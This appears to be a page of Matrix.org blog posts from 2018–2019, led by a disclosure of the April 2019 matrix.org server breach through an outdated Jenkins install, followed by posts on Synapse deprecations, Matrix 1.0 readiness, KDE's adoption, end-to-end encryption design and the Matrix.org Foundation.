The matrix.org homeserver has been rebuilt and is running securely; bridges and other ancillary services (e.g. this blog) will follow as soon as possible. Modular.im homeservers have not been affected by this outage.

🔗The security breach is not a Matrix issue.

The hacker exploited a vulnerability in our production infrastructure (specifically a slightly outdated version of Jenkins). Homeservers other than matrix.org are unaffected.

🔗How does this affect me?

We have invalidated all of the active access tokens for users on Matrix.org - all users have been logged out.

Users with Matrix.org accounts should:

  • Change your password now - no plaintext Matrix passwords were leaked, but weak passwords could still be cracked from the hashed passwords
  • Change your NickServ password (if you're using IRC bridging) - there's no evidence bridge credentials were compromised, but if you have given the IRC bridges credentials to your NickServ account we would recommend changing this password

And as a reminder, it's good practice to:

  • Review your device list regularly - make sure you recognise all of the devices connected to your account
  • Always make sure you enable E2E encryption for private conversations

🔗What user data has been accessed?

Forensics are ongoing; so far we've found no evidence of large quantities of data being downloaded. The attacker did have access to the production database, so unencrypted content (including private messages, password hashes and access tokens) may be compromised.

🔗What has not been affected?

  • Source code and packages have not been impacted based on our initial investigations. However, we will be replacing signing keys as a precaution.
  • Modular.im servers are not affected, based on our initial analysis
  • Identity server data does not appear to have been compromised

The target appeared to be internal credentials for onward exploits, not end user information from the matrix.org homeserver.

🔗You might have lost access to your encrypted messages.

As we had to log out all users from matrix.org, if you do not have backups of your encryption keys you will not be able to read your encrypted conversation history. However, if you use server-side encryption key backup (the default in Riot these days) or take manual key backups, you’ll be okay.

This was a difficult choice to make. We weighed the risk of some users losing access to encrypted messages against that of all users' accounts being vulnerable to hijack via the compromised access tokens. We hope you can see why we made the decision to prioritise account integrity over access to encrypted messages, but we're sorry for the inconvenience this may have caused.

🔗What happened?

We were using Jenkins for continuous integration (automatically testing our software). The version of Jenkins we were using had a vulnerability (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002) which allowed an attacker to hijack credentials (forwarded ssh keys), giving access to our production infrastructure. Thanks to @jaikeysarraf for drawing this to our attention.

🔗Timeline

March 13th Updated 2019-04-12 11:00 UTC

  • Attacker compromises Jenkins CI server

April 4th Updated 2019-04-12 11:00 UTC

  • Attacker gains access to production infrastructure by hijacking a forwarded SSH agent logging into the compromised Jenkins worker

April 9th

  • Jenkins vulnerability brought to our attention by @jaikeysarraf

April 10th

  • Investigation identified the compromised machines and the full scope of the attack
  • Jenkins was removed
  • Attacker's access to compromised machines was removed

April 11th

  • Matrix.org was taken offline and production infrastructure fully rebuilt
  • Having fully flushed out the attacker, external communication was published informing users and advising on next steps
  • Matrix.org homeserver restored, with bridges and ancillary services (e.g. this blog) following as soon as possible

🔗Update 2019-04-12

At around 5am UTC on Apr 12, the attacker used a cloudflare API key to repoint DNS for matrix.org to a defacement website (https://github.com/matrixnotorg/matrixnotorg.github.io). The API key was known compromised in the original attack, and during the rebuild the key was theoretically replaced. However, unfortunately only personal keys were rotated, enabling the defacement. We are currently doublechecking that all compromised secrets have been rotated.

The rebuilt infrastructure itself is secure, however, and the DNS issue has been solved without further abuse. If you have already changed your password, you do not need to do so again.

The defacement confirms that encrypted password hashes were exfiltrated from the production database, so it is even more important for everyone to change their password. We will shortly be messaging and emailing all users to announce the breach and advise them to change their passwords. We will also look at ways of non-destructively forcing a password reset at next login.

The attacker has also posted github issues detailing some of their actions and suggested remediations at https://github.com/matrix-org/matrix.org/issues/created_by/matrixnotorg.

This confirms that GPG keys used for signing packages were compromised. These keys are used for signing the synapse debian repository (AD0592FE47F0DF61), and releases of Riot/Web (E019645248E8F4A1). Both keys have now been revoked. The window of compromise for the keys started from April 4th; there have been no Synapse releases since then. There has been one release of Riot/Web (1.0.7), however as the key was passphrased and based on our initial analysis of the release, we believe it to be secure.

🔗What are we doing to prevent this in future?

Once things are back up and running we will retrospect on this incident in detail to identify the changes we need to make. We will provide a proper postmortem, including follow-up steps; meanwhile we are obviously going to take measures to improve the security of our production infrastructure, including patching services more aggressively and more regular vulnerability scans.

Synapse: Deprecating Postgres 9.4 and Python 2.x

2019-04-08 — GeneralNeil Johnson

TL;DR DON'T PANIC - Synapse 1.0 will support Postgres 9.4 and Python 2.7

Folks, this is an update to explain that we will be shortly deprecating Synapse support for Postgres 9.4 and Python 2.x.

🔗What are we doing?

From the dates described below, we will no longer guarantee support for deprecated versions. This means that Synapse may continue to work with these versions but we will not make any attempt to ensure compatibility and will remove old library versions from our CI.

🔗When is this happening?

Synapse 1.0 will continue to support both technologies, but subsequent releases may not:-

For Python, we shared that we would discontinue to Python 2.x support from April 1st 2019, so for the first release that follows 1.0 we do not guarantee Python 2.x support.

For Postgres, will give server admins 6 weeks to upgrade to a newer version, and will guarantee support up until 20th May 2019.

🔗Why would you do this to us?

We have multiple reasons, but broadly:-

  • We want to make use of new language features not supported in old versions. This will enable us to continue to improve the performance and maintainability of Synapse.
  • Python 2.x overall will be end of life'd at the end of the year. Postgres 9.4's final release will follow 2 months later on 13th February 2020.
  • Since very few server admins still use these technologies on the wild, providing support is costly and we want to reduce our overall maintenance load.

🔗La la la I am ignoring you - what will happen?

You will be able to upgrade to Synapse 1.0, but will likely experience incompatibilities that prevent you upgrading further. Seriously, you really need to upgrade.

🔗Okay, but I have questions, where should I go?

Come and say Hi in #synapse:matrix.org and we'll do our best to help you.

Matrix 1.0 - Are We Ready Yet?

2019-03-15 — GeneralNeil Johnson

TL;DR

  • If you run a Synapse ensure that your federation certificates are valid here.
  • If they are not valid check out the FAQ.
  • Follow along with progress at https://arewereadyyet.com
  • Tell all your admin friends.
Folks, as you know we are now very close to achieving Matrix 1.0 and finally being in a position to shed our ‘beta' tag. It has been a long time coming and speaks to the huge effort from hundreds of people over the past 5 years.

A critical step towards this goal is the release of Synapse 1.0. We want to ship Synapse 1.0 as soon as possible but can't do so without your help!

We'd like to introduce AreWeReadyYet.com - a quick and easy way for everyone to track the progress and check if their federation is ready for Matrix 1.0!!

Are we ready yet?

Synapse 1.0 is good news for anyone running a Synapse installation - it contains critical bug fixes, security patches, a new room algorithm version and dramatically improved user and room search. However, as part of the security work it also contains a breaking change from previous Synapse versions. From 1.0 onwards it will necessary to ensure a valid TLS certificate on the federation API. Self signed certificates will no longer be accepted. Why would we do such a thing?

In anticipation for this, everyone currently running a homeserver must ensure that they have checked their federation certificate (check yours here). Failure to do so will mean being unable to federate with any Matrix 1.0 compliant server. If your server fails the check, our FAQ has all the details on what you need to do.

This post is a call to arms to try and get as many admins to upgrade their certificates as possible. We are tracking adoption at https://arewereadyyet.com - currently this sits at about 55% - we need this figure to be higher before we can pull the lever.  

So what are you waiting for? Check that your server has valid certs - then tell all your admin pals to do the same. Friends don't let friends miss out on Synapse 1.0, send them to arewereadyyet.com (or tweet here to remind them!) We really need the community to help us here because at some point soon, we will need to pull the lever and release.

Once we make more progress on adoption, we will announce an official release date and finally get Synapse out of beta!

Welcome to Matrix, KDE!

2019-02-20 — GeneralMatthew Hodgson

Hi all,

We're very excited to officially welcome the KDE Community on to Matrix as they announce that KDE Community is officially adopting Matrix as a chat platform, and kde.org now has an official Matrix homeserver!

You can see the full announcement and explanation over at https://dot.kde.org/2019/02/20/kde-adding-matrix-its-im-framework.  It is fantastic to see one of the largest Free Software communities out there proactively adopting Matrix as an open protocol, open network and FOSS project, rather than drifting into a proprietary centralised chat system.  It's also really fun to see Riot 1.0 finally holding its own as a chat app against the proprietary alternatives!

This doesn't change the KDE rooms which exist in Matrix today or indeed the KDE Freenode IRC channels - so many of the KDE community were already using Matrix, all the rooms already exist and are already bridged to the right places.  All it means is that there's now a shiny new homeserver (powered by Modular.im) on which KDE folk are welcome to grab an account if they want, rather than sharing the rather overloaded public matrix.org homeserver.  The rooms have been set up on the server to match their equivalent IRC channels - for instance, #kde:kde.org is the same as #kde on Freenode; #kde-devel:kde.org is the same as #kde-devel etc.  The rooms continue to retain their other aliases (#kde:matrix.org, #freenode_#kde:matrix.org etc) as before.

There's also a dedicated Riot/Web install up at https://webchat.kde.org, and instructions on connecting via other Matrix clients up at https://community.kde.org/Matrix.

This is great news for the Matrix ecosystem in general - and should be particularly welcome for Qt client projects like Quaternion, Spectral and Nheko-Reborn, who may feel a certain affinity to KDE!

So: welcome, KDE!  Hope you have a great time, and please let us know how you get on, so we can make sure Matrix kicks ass for you :)

  • the Matrix Core Team

The 2018 Matrix Holiday Special!

2018-12-25 — General, Holiday SpecialMatthew Hodgson

Hi all,

It's that time again where we break out the mince pies and brandy butter (at least for those of us in the UK) and look back on the year to see how far Matrix has come, as well as anticipate what 2019 may bring!

🔗Overview

It's fair to say that 2018 has been a pretty crazy year.  We have had one overriding goal: to take the funding we received in January, stabilise and freeze the protocol and get it and the reference implementations out of beta and to a 1.0 - to provide a genuinely open and decentralised mainstream alternative to the likes of Slack, Discord, WhatsApp etc.  What's so crazy about that, you might ask?

Well, in parallel with this we've also seen adoption of Matrix accelerating ahead of our dev plan at an unprecedented speed: with France selecting Matrix to power the communication infrastructure of its whole public sector - first trialling over the summer, and now confirmed for full roll-out as of a few weeks ago.  Meanwhile there are several other similar-sized projects on the horizon which we can't talk about yet.  We've had the growing pains of establishing New Vector as a startup in order to hire the core team and support these projects.  We've launched Modular to provide professional-quality SaaS Matrix hosting for the wider community and help fund the team.  And most importantly, we've also been establishing the non-profit Matrix.org Foundation to formalise the open governance of the Matrix protocol and protect and isolate it from any of the for-profit work.

Continue reading…

User Experience Preview: End-to-end encryption

2018-11-02 — GeneralNad Chishtie

It's been a long-standing goal to enable end-to-end encryption by default for private communication in Matrix. The technical effort so far has included our libolm library, an independent cryptographic review and a massive backlog of feature development and bug fixes. Today, instead I'd like to focus on some of the User Experience challenges and goals we're facing.

I should also introduce myself—I'm Nad Chishtie ( @nadonomy:matrix.org) and I recently joined the Matrix core team (at New Vector) as Lead Designer, most recently focusing on end-to-end encryption.

When using encrypted messages, most existing services fall short in one or all of the following:

  • They don't allow you to use multiple devices independently. For example, a web session might be locally tethered to a mobile device.
  • They don't support a way to restore or temporarily access message history. For example, if you don't have physical access to your main device because it's broken or has been stolen.
  • They don't allow you to verify that devices are controlled by their owners rather than eavesdroppers, and persist that trust across multiple devices, sessions or rooms.
Modern users, even those we talk to at security and privacy-led organisations, expect these features to 'just work' by default out of the box. Before enabling end-to-end encryption by default, we've been hard at work figuring out how we can deliver these features without compromising security or usability.

(For some users, restrictions such as limiting the number of places encryption keys reside, and not having a synchronised message history may be desirable security features. We'll support these cases, but just not as the default behaviour.)

Let's dive in to some of the fundamental concepts we'll be putting forward to deliver a default end-to-end encryption experience that makes sense for most modern users. In this post we'll look at an overview of work-in-progress wireframes, in the spirit of designing in the open and gathering feedback from the wider Matrix community. Please note that these don't represent the actual interface design.

🔗Cross-signing personal devices

When logging in to a new device, you'll be able to use an existing device to verify your new one. Verification is done by scanning a QR code on whichever device has the most convenient camera to use, or by comparing a short text string. You only have to complete this process once to mutually verify both devices.

Verifying your new device by cross-signing transfers encryption keys, giving it access to your encrypted messages, and also signals to other users that the new device is trustworthy.

🔗Secure Message Recovery

To the end user, Secure Message Recovery works a lot like setting up disk encryption or a password manager. A user can optionally secure their message history using a recovery passphrase and/or key. If logged out, or using another device, the user can use the recovery passphrase or key to access their encrypted message history.

In practise, this incrementally encrypts and backs up encryption keys to a user's homeserver, kept secure by the homeserver never having access to the passphrase or key. Like cross-signing, using a recovery passphrase or key will also signal to other users that a device is trustworthy.

We think that in most cases users will cross-sign personal devices, but as a safety net (for example, if a user's devices are broken or lost) Secure Message Recovery is an invaluable tool for users to minimise the chance of them losing their encrypted message history.

🔗People should trust people

With both cross-signing and Secure Message Recovery in place, we think that people should trust people, instead of individual devices. Now, when you verify a device, it'll mark all of that users trusted devices as trusted.

Gone are the days of every person you talk to having to independently verify your new device upgrade. Like cross-signing, you can verify a device by scanning a QR code or comparing a short text string.

🔗Sensible and extensible

In Riot, we're implementing these features with a sensible default experience that strikes a balance between usability and security. We think most people would prefer to trust cross-signed devices, and that user trust shouldn't block encryption. However, if you aren't most people, you'll be free to configure whatever level of security you need.

🔗In Summary

With all of the above in place, and after resolving any remaining technical issues, users will be able to:

  • Use end-to-end encryption by default in private rooms.
  • Use an existing device or Secure Message Recovery to access their encrypted message history on multiple devices, and to signal device trust to other users.
  • Access their encrypted message history using Secure Message Recovery, by storing encrypted message keys on their homeserver.
  • Mark a user as trusted by verifying one of their devices, persisting across all rooms and devices.
  • Keep their encrypted messages out of the hands of eavesdroppers.
  • Opt out, or further configure if they have more specific security requirements.
There's more nuance to making all this work than we can cover in this overview post; things like recovery key management and immutable security notifications are all important pieces of the puzzle. For further reading, we're filling up more detail in UX reference documentation, interactive wireframes, GitHub issues and a work-in-progress threat model.

Over the coming days we're polishing wireframes, nomenclature, iconography and microcopy as we dig deeper into development and implementation, as well as designing these features for the upcoming Riot redesign. Cryptography needn't be intimidating, and we're excited to iterate on these advanced features to make them work for everyone.

We'd love to hear your feedback! Let us know your thoughts here or in #e2e-dev:matrix.org.

Introducing the Matrix.org Foundation (Part 1 of 2)

2018-10-29 — GeneralMatthew Hodgson

Hi all,

Back in June we blogged about the plan of action to establish a formal open governance system for the Matrix protocol: introducing both the idea of the Spec Core Team to act as the neutral technical custodian of the Matrix Spec, as well as confirming the plan to incorporate the Matrix.org Foundation to act as a neutral non-profit legal entity which can act as the legal Guardian for Matrix's intellectual property, gather donations to fund Matrix work, and be legally responsible for maintaining and evolving the spec in a manner which benefits the whole ecosystem without privileging any individual commercial concerns.  We published a draft proposal for the new governance model at MSC1318: a proposal for open governance of the Matrix.org Spec to gather feedback and to trial during the day-to-day development of the spec. Otherwise, we refocused on getting a 1.0 release of the Spec out the door, given there's not much point in having a fancy legal governance process to safeguard the evolution of the Spec when we don't even have a stable initial release!

We were originally aiming for end of August to publish a stable release of all Matrix APIs (and thus a so-called 1.0 of the overall standard) - and in the end we managed to publish stable releases of 4 of the 5 APIs (Client-Server, Application Service, Identity Service and Push APIs) as well as a major overhaul of the Server-Server (SS) API.  However, the SS API work has run on much longer than expected, as we've ended up both redesigning and needing to implement many major changes to to the protocol: the new State Resolution algorithm (State Resolution Reloaded) to fix state resets; versioned rooms (in order to upgrade to the new algorithm); changing event IDs to be hashes; and fixing a myriad federation bugs in Synapse.  Now, the remaining work is progressing steadily (you can see the progress over at https://github.com/orgs/matrix-org/projects/2 - although some of the cards are redacted because they refer to non-spec consulting work) - and the end is in sight!

So, in preparation for the upcoming Matrix 1.0 release, we've been moving ahead with the rest of the open governance plan - and we're happy to announce that as of a few hours ago, the initial incarnation of The Matrix.org Foundation exists!

Now, it's important to understand that this process is not finished - what we've done is to set up a solid initial basis for the Foundation in order to finish refining MSC1318 and turning it into the full Articles of Association of the Foundation (i.e. the legal framework which governs the remit of the Foundation), which we'll be working on over the coming weeks.

In practice, what this means is that in the first phase, today's Foundation gives us:

  • A UK non-profit company - technically incorporated as a private company, limited by guarantee.
  • Guardians, whose role is to be legally responsible for ensuring that the Foundation (and by extension the Spec Core Team) keeps on mission and neutrally protects the development of Matrix.  Matrix's Guardians form the Board of Directors of the Foundation, and will provide a 'checks and balances' mechanism between each other to ensure that all Guardians act in the best interests of the protocol and ecosystem.

    For the purposes of initially setting up the Foundation, the initial Guardians are Matthew & Amandine - but in the coming weeks we're expecting to appoint at least three independent Guardians in order to ensure that the current team form a minority on the board and ensure the neutrality of the Foundation relative to Matthew & Amandine's day jobs at New Vector.The profile we're looking for in Guardians are: folks who are independent of the commercial Matrix ecosystem (and especially independent from New Vector), and may even not be members of today's Matrix community, but who are deeply aligned with the mission of the project, and who are respected and trusted by the wider community to uphold the guiding principles of the Foundation and keep the other Guardians honest.
  • An immutable asset lock, to protect the intellectual property of the Foundation and prevent it from ever being sold or transferred elsewhere.
  • An immutable mission lock, which defines the Foundation's mission as a non-profit neutral guardian of the Matrix standard, with an initial formal goal of finalising the open governance process.  To quote article 4 from the initial Articles of Association:
    • 4. The objects of the Foundation are for the benefit of the community as a whole to:

      4.1.1  empower users to control their communication data and have freedom over their communications infrastructure by creating, maintaining and promoting Matrix as an openly standardised secure decentralised communication protocol and network, open to all, and available to the public for no charge;

      4.1.2  build and develop an appropriate governance model for Matrix through the Foundation, in order to drive the adoption of Matrix as a single global federation, an open standard unencumbered from any proprietary intellectual property and/or software patents, minimising fragmentation (whilst encouraging experimentation), maximising speed of development, and prioritising the long-term success and growth of the overall network over the commercial concerns of an individual person or persons.
  • You can read the initial Articles of Association here (although all the rest of it is fairly generic legal boilerplate for a non-profit company at this point which hasn't yet been tuned; the Matrix-specific stuff is Article 4 as quoted above).  You can also see the initial details of the Foundation straight from the horse's mouth over at https://beta.companieshouse.gov.uk/company/11648710.
Then, in the next and final phase, what remains is to:
  • Appoint 3+ more Guardians (see above).
  • Finalise MSC1318 and incorporate the appropriate bits into the Articles of Associations (AoA).  (We might literally edit MSC1318 directly into the final AoA, to incorporate as much input as possible from the full community)
  • Tune the boilerplate bits of the AoA to incorporate the conclusions of MSC1318.
  • Register the Foundation as a Community Interest Company, to further anchor the Foundation as being for the benefit of the wider community.
  • Perform an Asset Transfer of any and all Matrix.org property from New Vector to the Foundation (especially the Matrix.org domain and branding, and donations directed to Matrix.org).
So there you have it! It's been a long time in coming, and huge thanks to everyone for their patience and support in getting to this point, but finally The Matrix.org Foundation exists.  Watch this space over the coming weeks as we announce the Guardians and finish bootstrapping the Foundation into its final long-term form!  Meanwhile, any questions: come ask in #matrix-spec-process:matrix.org or in the blog comments here.

thanks,

Matthew, Amandine, and the forthcoming Guardians of [the] Matrix!